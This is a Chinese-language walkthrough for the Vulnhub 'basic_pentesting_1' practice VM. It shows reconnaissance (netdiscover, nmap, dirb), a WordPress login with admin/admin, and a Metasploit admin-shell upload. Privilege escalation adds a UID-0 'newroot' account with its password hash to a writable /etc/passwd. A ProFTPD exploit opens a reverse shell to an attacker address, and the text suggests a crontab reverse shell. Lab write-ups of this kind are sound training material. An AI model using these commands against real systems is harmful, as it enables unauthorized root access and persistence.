basic_pentesting_1 是 Vulnhub 平台提供的虚拟化渗透测试靶场镜像,主要用于练习基础渗透测试技术。该靶场通过模拟网络环境中的常见漏洞场景,帮助用户熟悉信息收集、漏洞利用等实战技能。任务是获取靶场的root权限。
获取ip
通过netdiscover获取ip,未开启虚拟机的时候执行一次,开启后再执行一次,找到新增的ip
css
netdiscover -i eth0 -r 192.168.244.0/24
这边找到的ip是192.168.244.143
扫描端口
nmap -sV 192.168.244.143
-sV:启用版本检测功能,识别开放端口上运行的服务及其具体版本。

收集到信息
PORT | STATE | SERVICE | VERSION |
---|---|---|---|
21/tcp | open | ftp | ProFTPD 1.3.3c |
22/tcp | open | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
80/tcp | open | http | Apache httpd 2.4.18 ((Ubuntu)) |
web端口测试
通过浏览器访问地址:

就使用dirb爆破一下网站目录看是否有其他可以利用的
arduino
dirb http://192.168.244.143 -w

ruby
http://192.168.244.143/secret/wp-admin/
会自动跳转登录页面:

注意这边开头的是域名vtcsec,不是ip。ping vtcsec 即是目标服务器的ip。
尝试弱口令登录,测试到账号与密码是admin
|admin
,登录成功;

查看是否有可以利用的漏洞
searchsploit wordpress 4.9

登录msfconsole后,执行:
bash
search wordpress type:exploit -s date

分析利用的格式wp_XXX,说明关键字wp的漏洞根据不同的模块进行划分,我们这边是admin,找到exploit/unix/webapp/wp_admin_shell_upload,我们就使用这个。
perl
use 43
show options

arduino
set username admin
set password admin
set rhosts 192.168.244.143
set TARGETURI /secret
run

登录成功,但用户是www-data。
shell登录后,会话转换成bash模式,执行下面命令
rust
python -c 'import pty; pty.spawn("/bin/bash")'
查看/etc/passwd 与/etc/shadow的权限情况:

这边我们是可以修改/etc/passwd的,那么新增一个账号与密码:newroot
:newroot
。
退回到meterpreter的会话下,执行:
ruby
edit /etc/passwd
#新增下面一行
newroot:$1$iE0btf0c$pbJNv7hPOGSmeTE1tKepM/:0:0:root:/root:/bin/bash
shell登录后,转到bash模式下,执行:
bash
su newroot
#然后输入密码newroot

注意:这边必须要有密码,如果是x或者空,则无法登录,如下:

另外/etc/crontab文件也是可以编辑的,可以添加反弹shell的功能。
ftp端口测试
查看ftp的版本,看看是否有漏洞:
r
searchsploit ProFTPD 1.3.3c
登录msfconsole,然后查找漏洞的利用:
r
search ProFTPD 1.3.3c

perl
use 0
show options

bash
#设置目标服务器ip
set rhosts 192.168.244.143
#设置利用载荷
set payload cmd/unix/reverse
#设置载荷的反弹shell地址
set lhost 192.168.244.140
run

直接是root的权限。